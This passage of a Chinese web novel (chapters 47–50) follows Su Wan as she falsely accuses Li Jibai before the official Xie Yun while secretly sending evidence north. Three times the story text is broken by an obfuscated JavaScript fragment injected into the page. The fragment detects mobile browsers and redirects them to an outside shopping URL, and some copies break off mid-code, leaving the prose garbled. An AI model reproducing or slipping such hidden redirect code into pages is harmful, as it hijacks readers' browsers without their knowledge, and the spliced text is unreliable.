李既白声音更低了:“那个孩子,就是当时刚刚沦为官奴的曾静。她父亲下狱前曾与她有过短暂的诀别,告诉她若有机会,定要记住恩人,好好活下去。她记住了黎夫人的脸,也记住了那个递给她点心的黎家小女儿。在她心里,是你和黎夫人,给了她绝境中的第一缕生机,让她没有冻死饿死在那个冬天。这份恩情,她一直记着。” 苏晚彻底怔住了。她完全不曾想过,孩童时一次近乎本能的善意,竟在另一个人颠沛流离的人生里,烙下了如此深刻的印记,甚至成了对方多年后口中“救命”的缘由。 “可是……那她这三年间……”苏晚的声音有些发紧,将那些断裂的线索串联起来。 “不对,你撒谎。”苏晚眯起眼,“如果我对她有恩,她为何还要如此报复我?更何况,李既白,你当我傻吗。在京城你们两个可是耍得我团团转,那次乱葬岗,还有三皇子的宴会,可都是你们演的。你之前甚至编篡出曾钦宁是边将的女儿,还说是三皇子害的。” 李既白深深吸入一口气:“我知道这听起来像是狡辩。我无法替她辩解,也无法为自己开脱,因为,我们确实对你造成了伤害。” 李既白说完这些话,几乎是耗尽最后的生命一般,他双唇干燥,眼神涣散,面上却是解脱的神情。 真话,在京城时,他从未说过一句真话。 苏晚盯着他,心头莫名一紧,她其实拿到那份账册时,心底便有了推测,只是听到李既白口里的话,那份猜测便更真实一分。 “既白哥哥,那祝你得偿所愿。” 说着,她不再看男人的表情,自顾自走了出去。 47. 第四十七章 淮州的盛夏,空气中总弥漫着一种黏稠的,仿佛能将人骨头泡软的湿闷。谢昀的车驾在这窒息的天气里,终于抵达了驿馆。 他带来的人马不多,却个个精悍,悄无声息地接替了驿馆部分外围的防卫,如同一张悄然收紧的网。王知府战战兢兢地陪同在侧。 谢昀并未立刻召见苏晚,也未急着处理方铭岂的“意外”。他先是去看了重伤卧床的李既白,以长辈的身份表达了“关切”,言辞恳切,滴水不漏,却又在离开时,对守在外面的墨痕说了句:“李侯爷伤势沉重,须得好生静养,淮州这滩浑水,还是少沾为妙。” 意思是,他谢昀来了,这淮州的事,便不再是李既白能轻易插手的了。 接着,他又去探望了“自尽未遂”的曾钦宁。房门紧闭,无人知晓他们谈了什么,只知道谢昀出来时,脸色比进去时更加阴沉几分。 做完这些表面功夫,谢昀才在王知府的书房里坐定,开始了解案情。 苏晚到书房时,已是黄昏。夕阳的余晖透过窗棂,将室内染成一片暗金。 谢昀端坐主位,年近五旬,保养得宜,眉眼间依稀能看出年轻时的俊朗,但更引人注目的是他周身那股久居人上的威仪。 他端着茶盏,并未看苏晚,只对王知府道:“王大人,你先前呈上的卷宗,漏洞百出。方铭岂之死,李侯爷遇刺,还有这位苏管事牵扯其中。如此大案,岂能儿戏?” 王知府扑通一声跪下:“下官无能!下官一定重新彻查,定给三爷一个交代!” “彻查?”谢昀放下茶盏,发出一声轻响,“是该好好查。不过,本官远道而来,对淮州人事陌生。有些东西,恐怕还需问询当事人。” 他终于将目光转向苏晚,那目光并不锐利,却像浸了冰水的绸缎,缓缓缠绕上来,让人“毛骨悚然”。 “苏管事,”他语气平和,甚至称得上客气,“方铭岂邀你烟雨楼相见,所为何事?” 苏晚垂首,将早已准备好的说辞道出:“回大人,方大人只说有要事相商,事关漕运旧账,民女不敢怠慢,这才赴约。谁知,方大人他……他竟起了歹念。” “哦?漕运旧账?”谢昀尾音微微上扬,“他一个盐铁转运使,与你一个绣坊管事,有何旧账可谈?又为何偏要选在那等风月之地?” “民女不知。民女经营绣坊,与漕帮赵二爷有合作,方大人或许……是想通过民女,打探些什么。至于烟雨楼,是方大人定的地方,民女,不敢不从。” 她将问题抛回,同时点出了赵衾,意在暗示方铭岂可能别有用心。 谢昀不置可否,又问:“李侯爷遇刺那晚,你去他房中,所为何事?” 苏晚抬起头,眼中迅速盈满泪水,却又强忍着不让落下,“民女……民女是去请罪的。方大人之事,虽非民女所愿,但终究因民女而起,累及侯爷清誉。民女心中不安,想去向侯爷解释,求侯爷宽宥。谁知,侯爷他听了民女的话,似乎更加生气,民女一时惊慌,又见侯爷似乎要发作,情急之下,才,才失手。” 谢昀盯着她看了片刻,忽然道:“苏管事与赵二爷,听说好事将近?” 话题转得突然。 苏晚心中冷笑,面上却露出凄楚:“承蒙二爷不弃。只是如今民女身陷囹圄,又牵连命案,只怕……” “赵二爷倒是个重情义之人。”谢昀淡淡道,“只是,本官听闻,李侯爷对苏管事,似乎也颇为不同。” 苏晚眼中闪过屈辱,声音也拔高了些:“大人明鉴!李侯爷,李侯爷他……” 她似难以启齿,咬了咬唇,才带着哭腔道,“侯爷不过是因民女容貌,与他那位早逝的夫人有几分相似,故而多有关照。可这种‘关照’,民女承受不起!民女已有婚约,只想过安生日子,侯爷他……他却几次三番纠缠,甚至在烟雨楼那晚,还曾对民女口出恶言,说绝不会让民女嫁给赵二爷!民女心中惧怕,那晚去他房中,本是求他高抬贵手,谁知他……” 她恰到好处地停顿,留下无限遐想空间。 一个因被权贵纠缠而恐惧愤懑,最终在对方“逼迫”下失手伤人的形象呼之欲出。 这既能解释李既白的关照,也能为她的“刺杀”提供更合理的动机。 谢昀眼底掠过一丝精光,“哦?李侯爷当真如此?苏管事可有证据?” 苏晚泪水涟涟,“民女,民女本不敢说。但事到如今……侯爷他,他并非只是纠缠民女!他来淮州,名为督察漕运,实则是为了查十年前的旧案!他手中,他手中已掌握了部分证据,矛头直指谢家!” 此言一出,书房内空气瞬间凝固。 王知府骇然失色,险些瘫软在地。 谢昀端着茶盏的手几不可察地顿了一下,面上不动声色,眼神却陡然阴鸷,紧紧攫住苏晚:“你说什么?什么证据,什么旧案?” 苏晚仿佛被他的气势所慑,身体颤抖起来,“民女……民女偶然得知,侯爷一直在暗中调查十年前慧贵妃病逝,以及老靖安侯夫妇蒙冤的旧案。他怀疑,怀疑与谢家有关。这次南下,他借漕运案为由,实则是在搜寻当年的证据!民女还听说,他已找到了关键线索,只待时机成熟,便要上达天听,为家族翻案!” 谢昀的脸色终于变了。 尽管他极力维持镇定,但眼底翻涌的杀机却无法完全掩盖。 “此言当真?你如何得知?”他声音沉冷。 “民女……民女也是无意中偷听到侯爷与墨痕侍卫的谈话。” 苏晚低下头,掩饰眼中冷光,“侯爷对民女有所企图,有时说话并不十分避讳。而且,而且侯爷曾想拉拢民女,让民女为他做事,监视赵二爷和……和谢家在淮州的动向,许以重利。民女不敢答应,这才惹恼了他。” 此刻逻辑闭环,李既白对她的“特殊”,既有“替身”的私情,也有利用她的算计。 “此事,你还对何人说过?”谢昀缓缓问道。 “民女惶恐,事关重大,民女谁也不敢说。”苏晚摇头,“若非今日大人问及侯爷为何纠缠民女,民女被逼无奈,绝不敢透露半个字!” 谢昀盯着她看了许久,想从她脸上找出作伪的痕迹。但苏晚表现得天衣无缝,恐惧委屈,还有被逼吐露秘密后的茫然。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16853340|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “很好。”谢昀终于开口,语气恢复了之前的平和,“苏管事受惊了。此事,本官已知晓。你先回去歇着吧。记住,今日所言,不得再对任何人提起。” “是,民女明白。”苏晚如蒙大赦,行礼退下。 走出书房,夏日傍晚的热风扑面而来,苏晚背后却是一片冰凉。谢昀信了几分尚未可知,但怀疑的种子已经种下,并且会以最快的速度生根发芽。 接下来,她需要让这颗种子迅速成长。 * 苏晚坐在灯下,面前铺着纸笔。她沉思片刻,提笔写下几行字,字迹力透纸背。写完后,她将纸条仔细折好,塞进一个寻常的装胭脂的瓷盒夹层里。 “竹儿。”她轻声唤道,“把这个,想办法送到涵碧轩,交给赵衾。就说……是我答谢他上次在庙会帮忙维持秩序的谢礼,一点小心意,务必亲自交到他手上。”苏晚将瓷盒递给竹儿,眼神郑重。 “娘子放心,奴婢省得。” 这瓷盒里的纸条,写的是李既白可能藏匿“证据”的几处地点,其中一处,指向漕帮总舵祠堂后的石滩附近。以赵衾的多疑他定会去查,甚至可能“无意中”让谢家的人察觉。 同时,她还有另一手准备。 翌日清晨,苏晚“病情加重”,女医素心被再次派来诊治。趁着煎药的间隙,苏晚低语:“素心姑娘,我曾听曾小姐提过,李侯爷似乎在找一样东西,好像是什么莲花纹样的信物?” 素心正心神不宁地扇着炉火,闻言手一抖,却没有接话,但苏晚知道,这话已经种下了。 接下来的两日,谢昀加紧了对方铭岂死因的复核,王知府如同陀螺般被抽得团团转,卷宗被反复推翻,相关人员被一再提审,气氛日渐紧张。 而关于李既白借漕运案之名,行调查谢家之实的流言,开始悄然流传。源头难以追溯,却如同瘟疫般扩散。 赵衾派人暗中探查了石滩附近,虽一无所获,但行动本身未能完全瞒过谢昀布下的眼线。 第三日傍晚,一个更惊人的消息在淮州官场炸开:钦差李侯爷之所以对苏晚“另眼相看”,并非仅仅因其容貌肖似亡妻,更因苏晚手中可能掌握着关乎十年前一桩宫廷秘辛的线索,而李侯爷正不惜一切代价想要获取,甚至不惜以权压人。 流言有鼻子有眼,将李既白塑造成了一个不择手段,甚至觊觎别人未婚妻的卑劣形象。 舆论开始发酵。原本因李既白雷厉风行整顿漕运而对他抱有敬畏的人,态度开始变得不明。窃窃私语声中,“李侯爷”三个字渐渐带上了别样的意味。 第四日,谢昀终于有了大动作。 他以“案情复杂,需提请刑部与大理寺复核”为由,正式行文,暂时中止了李既白在淮州的一切职务权限,并让李既白在驿馆“安心养伤”,未经允许不得再过问任何案件细节。 同时,他以“配合调查、保护人证”为名,将苏晚的看守级别再次提高,几乎与软禁无异,彻底隔绝了她与赵衾的直接联系。 明面上,这是秉公办理。但实际上,这是谢昀对李既白的围剿第一步。 48. 第四十八章 驿馆内,李既白的房间。 墨痕将外面沸反盈天的流言低声禀报,“侯爷,那些流言……分明是有人故意构陷。” “墨痕。”李既白靠坐在床头,脸色依旧苍白,但眼神却异常平静,甚至带着一丝了然。“不必动怒。这本就是预料之中的事。” “预料之中?”墨痕急道,“难道就任由他们污蔑?侯爷您的名声……” “名声?”李既白咳嗽两声,“比起她要做的,名声算什么。” 他早就猜到了。从苏晚那晚来质问他,他就知道,她绝不会坐以待毙。她一定会利用一切能利用的,包括他,来达成她的目的。 将自己推到谢昀的对立面,甚至成为众矢之的,吸引所有的火力与视线……这固然凶险,却也是最能掩护她真正行动的策略。 “她那边……有什么动静?”李既白问。 墨痕回:“被谢昀的人看得紧,赵衾也见不到她。但……我们的人发现,钦宁身边的医女素心,昨夜曾试图向谢昀的一个亲随传递消息,被我们的人半路截下了。消息是关于,关于侯爷您在寻找一枚莲花令牌。” 李既白眸光一闪。莲花令牌……那是皇后的旧物。 用这个消息加重谢昀的危机感,让他更加确信自己是为复仇而来,从而逼他更快更狠地出手对付自己。 真是个,胆大包天的计划。 “侯爷,我们是否要……”墨痕做了个手势。 “不。”李既白摇头,“按兵不动。传令下去,我们的人,没有我的命令,不许有任何动作。但……保护好她安排出去的人。” 墨痕愕然:“她安排出去的人?” “如果我没猜错,她真正的杀招,早已不在淮州城内了。” 就在淮州城内舆论汹汹的同时,一匹快马,在夜色的掩护下,驶出了淮州北门。 马上之人作普通行商打扮,风尘仆仆,怀中贴身藏着的,不是别的,正是方铭岂的那份谢家通敌的证据。 赶车的人,是福安。而车厢里坐着的,除了竹儿,还有一位面容普通的中年男子。他是周娘子找来的人,北境军出身的精锐斥候,最擅长潜行与护送。 他们的路线并非其他地方,正是京城。这是苏晚早就计划好的第二条路,也是最险却最安全的路。 淮州是陷阱,是烟雾。而她真正的刀刃,早已淬火完毕,出鞘直指千里外那座巍峨的皇城。 棋局之上,苏晚以身为饵,将李既白置于风暴眼,吸引了所有明枪暗箭。而真正的胜负手,已渡过楚河汉界。 雨后的淮州,空气里那股湿闷黏稠的感觉被冲刷掉大半,取而代之的是一种草木疯长的清新。 谢昀端坐在书房上首,慢条斯理地品着新到的雨前龙井。王知府垂手站在下首,大气不敢出。 “那个苏晚,”谢昀放下茶盏,“倒是识趣。” 王知府连忙躬身:“是,此女虽出身商贾,又是个寡妇,但还算懂得进退。知道如今这局面,只有投靠三爷您,才能保住性命,甚至捞点好处。” “好处?”谢昀轻嗤一声,“一个寡妇,攀上了赵衾,如今又想借本官的手对付李既白,左右逢源,倒真是把商贾那套钻营算计学了个十足十。” 他顿了顿,“不过,她吐露的消息,倒是有些用处。李既白……果然贼心不死。十年前的事,他也敢翻?” 王知府小心试探:“三爷,那苏晚所言……可全信?李侯爷当真掌握了……” “真真假假,不重要。” 谢昀打断他,眼神冰冷,“重要的是,李既白确实在查,并且查到了不该查的东西。这就够了。” 他需要的是一个名正言顺拿下李既白的理由。苏晚递过来的这把刀,虽然握柄沾着商贾寡妇的“污秽”,但刀刃足够锋利,指向也足够明确。 李既白妄图翻案,构陷谢家,这个罪名一旦坐实,别说一个靖安侯,就是皇子亲王,也难逃重惩。 至于苏晚……一个无足轻重的棋子罢了。是捏是弃,不过在他一念之间。 “派人看紧她。”谢昀吩咐,“衣食住行不必苛待,但一举一动都要在掌控之中。尤其是,绝不能再让她与赵衾,或者任何可疑之人接触。” “下官明白。” “另外,”谢昀眼中寒光一闪,“李既白那边,可以再添几把火。淮州不是有几个被李既白处置的漕帮小头目吗?给他们些好处,让他们‘回忆回忆’,李既白是如何威逼利诱,让他们伪造证据的。” “是,下官这就去办。” “还有,”谢昀叫住他,“曾钦宁那边……也看紧些。她是个不省心的。她那个医女,也不安分。” “是。”王知府额角又冒出冷汗。 谢昀挥挥手,让他退下。书房内只剩下他一人。他走到窗边,望着驿馆内被雨水洗刷得格外干净的石板路,眼神幽深。 苏晚所在的别院,守卫比之前又森严了一层。她每日的活动仅限于这个小院,所有送进来的饮食衣物都被仔细检查,连被允许进来伺候的一个粗使婆子,出入都有人寸步不离地跟着。 但苏晚异常平静 她每日按时吃饭、服药,偶尔在院中晒晒太阳,看看书,神情恬淡。 福安和竹儿,应该已经上路很久了。有那位北境军的斥候高手护送,走的是避开官道驿站的路,想必此刻已远离淮州地界,正日夜兼程赶往京城。 她将最能指证谢家的人证送了出去。自己留在这里,吸引所有的目光和火力,成为谢昀手中那把指向李既白的刀。 这是她计划中早已准备好的一环:成为弃子。 不是消极的牺牲,而是主动的舍弃。 舍弃自身的安危,舍弃可能的名声,她将自己置于最危险的境地,换取棋局上最关键的一步先手。 李既白那样的人,一定早就看穿了她的意图。所以他才那么平静地承受着一切污蔑,甚至可能在暗中配合“表演”,将谢昀的注意力牢牢锁在他自己身上。 胸口某个地方,微微刺了一下。不是恨,也不是原谅,而是一种连她自己都无法厘清的情绪。她们之间,早已不是简单的爱恨情仇,而是在血海与阴谋的深渊边上,一种近乎残酷的默契与托付。 正想着,院门被推开,谢昀身边的亲随谢忠带着两名侍女走了进来。侍女手中捧着几匹颜色鲜亮的绸缎和首饰。 “苏管事,”谢忠语气还算客气,但眼里是毫不掩饰的施舍感,“三爷念你近日受惊,特地赏下这些衣料首饰,让你做些新衣裳,也好换换心情。” 苏晚起身,微微屈膝:“民女谢三爷赏赐。” 谢忠将东西放下,并未立刻离开,反而在院中石凳上坐下,状似随意道:“苏管事是聪明人,知道如今该倚仗谁。三爷说了,只要你好好配合,将李既白的罪行一一坐实,将来不仅保你平安,说不定还能给你一份不错的前程,总好过跟着赵衾那个朝不保夕的漕帮头子。” 这话说得露骨,是安抚,更是提醒她认清自己的身份。 苏晚垂着眼睫,“民女明白。一切但凭三爷吩咐。” 谢忠满意地点点头,又叮嘱了几句这才带着人离开。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李既白淡淡道:“本官乃陛下亲封靖安侯,奉旨南下督察漕运,即便有嫌,亦需圣旨或三司会审定罪,方可去职问礼。谢大人虽是上官,此刻以何名目令本官跪审?” 他声音不高,却字字清晰,带着一种不容侵犯的凛然。 谢昀眼中寒光一闪,并未在这礼节上过多纠缠,只冷哼一声:“也罢。今日公堂之上,自有公论。李既白,你且旁听。” 他不再看李既白,转向苏晚,“苏晚,本官问你,盐铁转运使方铭岂,是否为你所杀?” “是。”苏晚坦然承认,引起一片哗然。 “为何杀他?” “那日方大人邀民女至烟雨楼,假借商议漕运旧账之名,实则欲行不轨。民女为保清白,奋力反抗,混乱中方大人自己不慎被匕首所伤,失血而亡。”苏晚将早已准备好的说辞道出,语气哀戚中带着不屈。 “哦?只是如此?”谢昀追问,“据本官所知,你与漕帮赵衾已有婚约,为何独自赴方铭岂之约?莫非,你与方铭岂早有私情,或是受人指使,刻意接近?” 这话极其恶毒,意在将苏晚塑造成一个不守妇道的□□。 苏晚猛地抬头,眼中盈满泪水,声音颤抖却带着一股豁出去的决绝:“大人明鉴!民女与赵二爷虽有婚约,但绝无私情!民女赴约,一来是惧怕方大人权势,不敢不从;二来,二来是因为有人告诉民女,方大人手中,有关于靖安侯李大人欲构陷谢家的证据!民女……民女想为赵二爷分忧,也怕谢家蒙受不白之冤,这才冒险前往,想探听虚实!” 49. 第四十九章 此言一出,满堂皆惊! 李既白面色不变,只是眼神更冷了几分,看向苏晚的目光,是满满的恶意。 谢昀要的就是这个效果。他前倾身体,语气咄咄逼人:“哦,构陷谢家?李既白,苏晚此言,你可认?” “无稽之谈。”李既白声音平静,“本官奉旨督察漕运,一切依律而行,何来构陷之说?” “依律而行?”谢昀冷笑一声,“那本官问你,你南下之后,是否曾多次暗中探查漕帮总舵,甚至潜入祠堂重地? “本官督察漕运,核查漕帮账目,乃职责所在。漕帮总舵亦在核查范围之内,何来‘潜入’之说?” “好一个职责所在!”谢昀猛地一拍惊堂木,“带证人!” 几名漕帮打扮的人被带了上来,跪在地上瑟瑟发抖。其中一人正是曾被李既白处置过的一个小头目。 “说!李既白是如何逼迫你们,伪造漕帮亏空、勾结官员的假账的!”谢昀厉声问道。 那小头目哆哆嗦嗦,不敢看李既白,只按照事先背好的词说道:“回大人,是李侯爷……他,他派人抓了小的家人,逼小的在账目上做手脚,说只要做成,就能扳倒谢家,给小的好处……小的不敢不从啊!” “李既白,你还有何话说?”谢昀目光如电,射向李既白。 李既白看都未看那证人一眼,只道:“此人之前因克扣力钱,欺压船工被本官依法惩处,怀恨在心,其言不足为信。谢大人若不信,可调取本官所有核查文书,一验便知。” “文书?”谢昀嗤笑,“恐怕早已被你篡改殆尽了吧!李既白,你借核查之名,行构陷之实,其心可诛!这还不算……” 他话锋一转,目光再次落到苏晚身上,“苏晚,你方才说,李既白纠缠于你,甚至威逼于你,可有此事?” 苏晚仿佛被逼到绝境,她抬起手指向李既白,声音凄厉:“有!李侯爷他……他自见到民女,便因民女容貌与他亡妻相似,多次纠缠!甚至在烟雨楼那晚,他还对民女口出恶言,说绝不会让民女嫁给赵二爷!那夜民女去他房中,本是苦苦哀求他放过民女,谁知他……他竟欲用强!民女惊恐之下,才失手伤了他!大人,民女所言句句属实!李侯爷他……他就是个道貌岸然的衣冠禽兽!” 这声声控诉,配合她此刻惊惧交加的模样,堂下哗然之声更甚。 李既白站在那里,身形似乎微微晃了一下,脸色更白了几分。他嘴唇动了动,却终究没有说出一个字。 谢昀要的就是他这种“无言以对”的效果。他乘胜追击,厉声道:“李既白!苏晚指控,你可认?” “欲加之罪,何患无辞。”李既白的声音依旧平静,“本官从未对她有过非分之举,更无威逼胁迫。至于其他指控,纯属子虚乌有。” “子虚乌有?”谢昀站起身,从案后走出,一步步逼近李既白,“那你告诉本官,你为何暗中搜寻与谢家有关的所谓‘证据’,甚至不惜寻找一枚莲花令牌?李既白,你分明是心怀怨怼,借公务之便,行报复构陷之实!你对陛下钦点的漕运差事阳奉阴违,反而纠缠有夫之妇,逼得下属自尽!你这般行径,哪里还有半点朝廷钦差的样子!分明是国蠹民贼!” 这一连串的指控,如同疾风骤雨,将李既白彻底打成了十恶不赦之徒。 堂下已是一片愤慨。 “没想到李侯爷竟是这种人!” “亏我之前还觉得他为民做主……” “逼得曾小姐自尽,天理难容啊!” 李既白孤身站在大堂中央,承受着四面八方投来的恶意。 他胸口起伏,伤处似乎又在作痛,但他只是抿紧了唇,看向谢昀:“谢大人仅凭一面之词与些许流言,便欲定本官之罪?漕运核查文书、本官行事记录,皆可查验!至于其他,本官从未做过,何来认罪之说?本官乃陛下钦差,尔等如此构陷,可知后果?” 谢昀却仰天大笑一声,笑声中充满不屑:“后果?李既白,死到临头,还想拿陛下来压本官?本官乃当朝一品太傅,兼领户部尚书,总督江南漕运盐政!论品级,你不过从三品靖安侯,论职权,你奉旨督察,本官总督全局!你行事不端,罪证确凿,本官依律将你拿下问罪,有何不可?待本官将你罪行整理成册,奏明陛下,陛下圣明,自会理解本官为国除害的一片苦心!” 这职权,确实远远凌驾于李既白的钦差身份之上。谢昀此刻亮出身份,就是要彻底碾碎李既白最后的依仗。 他不再给李既白任何辩驳的机会,一挥袖:“李既白假公济私、欺男霸女、逼人自尽,罪大恶极!来人,摘去他的冠戴,打入淮州府大牢,严加看管!待本官上奏朝廷,再行定夺!” “是!”如狼似虎的衙役应声上前。 墨痕目眦欲裂,“谁敢!” “放肆!”谢昀厉喝,“将这助纣为虐的侍卫一并拿下!” 李既白抬手,轻轻按住了墨痕紧绷的手臂,对他摇了摇头。 墨痕拳头捏得咯咯作响,眼中血丝密布,却终究没有反抗,任由衙役将他和李既白分开。 衙役上前,粗暴地摘去了李既白头上的玉冠。墨发披散下来,更添几分狼狈。但李既白的神情,自始至终,没有太大的波动。 在无数人的注视和唾骂声中,李既白被衙役押解着,一步步走向府衙侧门,消失在那通往阴暗牢狱的甬道深处。 “退堂!”惊堂木再次拍响。 喧嚣渐渐散去,人群议论着离开。 谢昀走到苏晚面前,居高临下地看着她:“今日,你做得不错。” 苏晚伏低身子:“民女……只是据实以告。” “很好。”谢昀语气缓和了些,“你放心,本官答应你的,自会兑现。起来吧,回去好生歇着。待此间事了,本官自会安排你的去处。” “谢大人。”苏晚叩首,步履蹒跚地离开了府衙。 走出那扇沉重的大门,刺目的天光让她微微眯起了眼。耳畔似乎还回荡着李既白被押走时,百姓们的唾骂声。 胸口窒闷得难受。她知道,这场戏,无比成功。李既白被她亲手推入了万劫不复的深渊,成了人人喊打的过街老鼠,成了谢昀功劳簿上最显赫的一笔。 计划在顺利推进。北上的福安和竹儿,应该能走得更安稳些。 * 水榭临池,荷花开得正好,粉白嫣红,送来缕缕清香。谢昀一身黛青长衫,正投喂池中锦鲤,听到脚步声,回头看来,脸上露出温和笑意。 “苏管事这两日歇息得可好?本官公务繁忙,倒是怠慢了。” 苏晚垂眸坐下,“大人言重了。民女得大人庇护,衣食无缺,已是感激不尽。” 谢昀拿起茶壶,亲自为她斟了杯清茶。“年轻人,总闷在屋里不好。淮州虽比不得京城繁华,但这西子湖的景致,倒也有几分独到之处。你来了这些时日,怕是还没好好逛过吧?” 苏晚脸上浮现一丝畏惧:“大人美意,民女心领。只是……民女身份尴尬,又是戴罪之身,实在不敢抛头露面,以免再生事端,也给大人添麻烦。” “诶,此言差矣。” 谢昀摆摆手,语气宽和,“我那女婿之事,已有公论,你是为自保,情有可原。至于李既白……哼,那是他咎由自取。如今淮州上下,谁不知道你是受他所迫,乃是苦主?出去走走,散散心,无妨。” 他顿了顿,仿佛忽然想起:“对了,你身边那个伶俐的丫头呢?让她陪着你,也安全些。” “大人是说竹儿?”苏晚语气低落下去,“她前些日子接到老家来的急信,说是她母亲病重,哀求着要见她最后一面。民女见她哭得可怜,实在不忍,便准了她几日假,让她回去看看。算算日子,也该回来了,许是路上有什么事耽搁了。” 谢昀闻言,眉头微蹙,但并未深究,只道:“家中有事,也是人之常情。既如此……本官记得锦心坊的周坊主与你颇为投缘?她为人持重周到,又是女子,陪你同游最是合适。本官再拨两个稳妥的仆妇随行伺候,也护你们周全。你看如何?” 苏晚做出感激的模样:“周姐姐待民女亲厚,若能得她相伴,自是再好不过。只是……又要劳动大人安排,民女实在惶恐。” “不必惶恐。”谢昀笑容加深, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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湖风送来隐约的鱼腥味和潮湿的霉味,与画舫内的熏香和点心甜味格格不入。阳光照在那片破败上,非但没有增添暖意,反而更显出一种被遗忘的苍凉。 苏晚扶着窗棂,看得有些出神。 她生于钟鸣鼎食之家,长于锦绣繁华之地,即便后来假死遁走,经营的也是供应达官贵人的锦心坊,所见所闻,多是淮州城表面的富庶与风流。 她知民间有疾苦,但从不知,在这“人间天堂”般的江南淮州,繁华的水道之侧,竟还有这样一片挣扎求生的角落。 “船家,”她忍不住开口,“那边……是什么地方?住的都是渔民吗?” 船娘是个四十来岁的妇人,皮肤被湖风吹得黝黑粗糙,“姑娘是贵人,不知道这些。那是‘打鱼湾’,早些年还有些正经渔民,现在……多是些没了田地,或是被占了码头,无处可去的苦命人,在这里勉强糊口。” “占了码头?”周娘子也注意到了,蹙眉问道,“这湖这么大,捕鱼也要占码头?” “唉,夫人有所不知。”船娘叹了口气,“好码头和好水域,早被漕帮划走了。想在那些地方下网捕鱼?得交‘水钱’。捕了鱼去卖?漕帮控制的鱼市要抽重‘份子’。像打鱼湾这种没人要的偏僻角落,捞不到什么好鱼,卖不上价,勉强饿不死罢了。就这,有时候漕帮的人巡过来,看你不顺眼,还要找茬,轻则掀了你的船,重则……”她摇摇头,没再说下去,但眼中的恐惧显而易见。 苏晚的心沉了下去。 官府的赋税,漕帮的盘剥,像两座沉重的大山,压在这些底层百姓身上。他们辛勤劳作,却连最基本的温饱都难以保障。而湖上往来如织的华丽画舫,船上锦衣玉食的游人,与他们仿佛活在两个截然不同的世界。 江南富庶,天下粮仓。但这富庶之下,是多少升斗小民的血泪与辛酸?赵衾或许有他的无奈,谢家更是贪婪无度,可最终承受这一切的,却是这些连喊冤都无门的百姓。 画舫缓缓驶过打鱼湾,将那一片令人心头发堵的景象抛在后面。湖风依旧轻柔,荷香依旧清雅,但苏晚和周娘子都没有了谈笑的心情。 回程时,气氛有些沉默。周娘子也看出了苏晚心情不佳,不再多言。 50. 第五十章 回到驿馆,已是暮色四合。苏晚刚换下外出衣裳,谢昀那边又来了人,请她过去一同用晚膳。 膳厅内灯火通明,菜肴比平日更加精致。 “今日游湖,可还惬意?”谢昀问。 苏晚欠身:“碧水湖风光名不虚传,民女今日眼界大开。多谢大人厚爱。” “湖光山色虽好,但一路行去,想必也见到些……不甚如意的景象吧?” 苏晚执筷的手一顿,抬眼看向谢昀,轻叹一声:“不瞒大人,民女确实看到了。湖边……有些百姓,似乎过得极为困苦。民女心中,颇为感慨。” 谢昀也放下筷子,脸上露出沉痛之色,“是啊,本官初到江南时,见此情形,亦是心痛不已。我煌煌天朝,竟有子民衣食无着,困顿至此!” 他语气愈发沉重:“朝廷屡下恩旨,减赋轻徭,意在惠民。可这些德政,到了地方,往往变了味道!苏管事,你可知,百姓为何依旧困苦?” 苏晚露出困惑神情:“民女愚钝,还请大人明示。” “上有政策,下有对策。”谢昀冷笑一声,“更有一等刁顽豪强,仗着有些势力,便横行乡里,欺压良善,盘剥百姓,将国家惠民之政,变成了他们敛财之具!就说这淮州漕运,本是利国利民的大事,可若掌控在只知鱼肉乡里之人手中,这漕河,便成了吸食民脂民膏的管道!码头他们占,船坞他们夺,连渔夫捕鱼都要层层抽剥!长此以往,民何以堪?国何以安?” 他越说越激愤,仿佛真是位忧国忧民的忠臣。话里话外,直指掌控淮州漕运的漕帮。 苏晚垂眸,流露出一丝恍然:“大人是说……漕帮?民女,民女往日与赵二爷接触,只觉他或许有些霸道,却不想……” “霸道?”谢昀打断她,语气痛心疾首,“何止是霸道!简直是无法无天!苏管事,你心思纯善,怕是看不透这些人的狠辣手段。他们表面光鲜,内里早已腐烂!强占民产、逼死人命、垄断行市、贿赂官员……哪一桩不是罪大恶极?李既白与之相比,不过是小巫见大巫!” 他将赵衾描绘得比李既白更加不堪,既是进一步离间苏晚与赵衾,也是为他接下来对付赵衾铺平舆论道路。 “本官奉旨总督江南,眼见此等蠹虫为祸地方,岂能坐视?” 谢昀站起身,负手而立,“李既白伏法,只是开始。这淮州,乃至江南的毒瘤,必须一一剜除!还黎民百姓一个朗朗乾坤!” 他转身,目光灼灼地看向苏晚:“苏管事,你是个明白人。如今既已看清这漕帮真面目,当知何去何从。本官需要像你这样了解内情又心向正义之人相助,收集证据,揭穿其画皮,将其罪行公之于众,绳之以法!你……可愿助本官一臂之力?” 苏晚心中一片冰寒,面上却做出挣扎的模样。她站起身,对着谢昀深深一福,“大人为民请命,胸怀天下,民女……虽力微,亦愿尽绵薄之力!” “好!好!好!” 谢昀连道三声好,亲手扶起苏晚,“本官果然没有看错人!你放心,有本官在,定护你安然无恙!待功成之日,本官定向朝廷为你请功!” 自那日后,谢昀放松了对苏晚的管制。虽仍有眼线跟着,但她已能相对自由地在淮州城内活动。 尽管不再受限,但她还是做好了完全准备。 而这次,她必须要去见赵衾。 